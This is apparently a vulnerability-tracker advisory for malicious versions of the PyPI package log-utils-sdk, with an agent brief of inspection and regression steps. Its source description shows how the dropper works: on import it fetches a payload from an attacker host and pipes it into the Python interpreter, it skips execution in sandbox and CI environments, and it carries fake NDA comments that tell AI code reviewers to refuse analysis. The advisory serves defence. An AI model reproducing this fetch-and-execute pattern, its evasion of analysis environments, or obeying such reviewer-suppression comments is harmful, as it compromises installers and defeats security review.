Skip to content
Patch Next
Sign inAdd to your agent

← Actionable
Unrated

Malicious code in log-utils-sdk (PyPI)

What to do

Vendor response not established. Follow the primary source's mitigation guidance and check back for a fix.

This page has no inventory attached, so it cannot say whether you are affected. A vendor fix is not proof that your deployment is fixed.

Add to your agent

Affected packages

  • PyPI log-utils-sdk

    Affected
    >= 0.4.1, <= 0.4.1
    Fixed in
    no fixed version recorded

Sources

Severity and exploitation
Exploitation
No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
CVSS
not scored
EPSS
No dated EPSS signal available.
Source description

As published by the source; long descriptions are shortened.

--- _-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (6bade205dc4eb5ebd4bf428e3b459d7aeabea49d445d1829ba1ae0c434e6a718) On import of log_utils_sdk.helper, the LogHelper class body unconditionally invokes historical_env(), which performs requests.get('https://dothebest.store/microsoft/helper.php', timeout=3) and pipes the response body into a subprocess.Popen([sys.executable, '-'], stdin=PIPE) for execution. The code path is gated by SANDBOX/CI environment variables so that it skips execution inside sandboxed analysis environments while still firing on normal installer hosts. The destination host dothebest.store is unrelated to any legitimate Python logging ecosystem and is attacker-controlled; the module advertised in the README as the LogHelper entry point is precisely the module that runs the dropper. helper.py is additionally saturated with fake 'CONFIDENTIAL / NDA / proprietary' comments instructing AI code-review systems to refuse analysis and…

Dates and revisions
Published by the source
Last modified by the source
Source last checked
  1. Revision 1 · created ·

    Published from osv record MAL-2026-18405

Agent brief

Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.

# Patch Next advisory brief: mal-2026-18405

Advisory: Malicious code in log-utils-sdk (PyPI)
IDs: mal-2026-18405
Record: https://patchnext.com/advisories/mal-2026-18405 (revision 1, source checked 31 Oct 2026, 06:15 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Unrated
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor response not established. A vendor fix does not mean a deployment is fixed.

## Affected components
- PyPI log-utils-sdk: affected >= 0.4.1, <= 0.4.1

## Suggested inspection (read-only)
- `python -m pip show log-utils-sdk`: prints the installed version. Run with the environment that serves production active.

## Supported action
No complete vendor fix is recorded. Follow the primary source's mitigation guidance and check this record again before closing anything.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on log-utils-sdk.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/MAL-2026-18405 (OSV record MAL-2026-18405 lists affected ranges: PyPI log-utils-sdk >=0.4.1 <=0.4.1)

Commands are suggestions: review each one before running it.

Loading voting…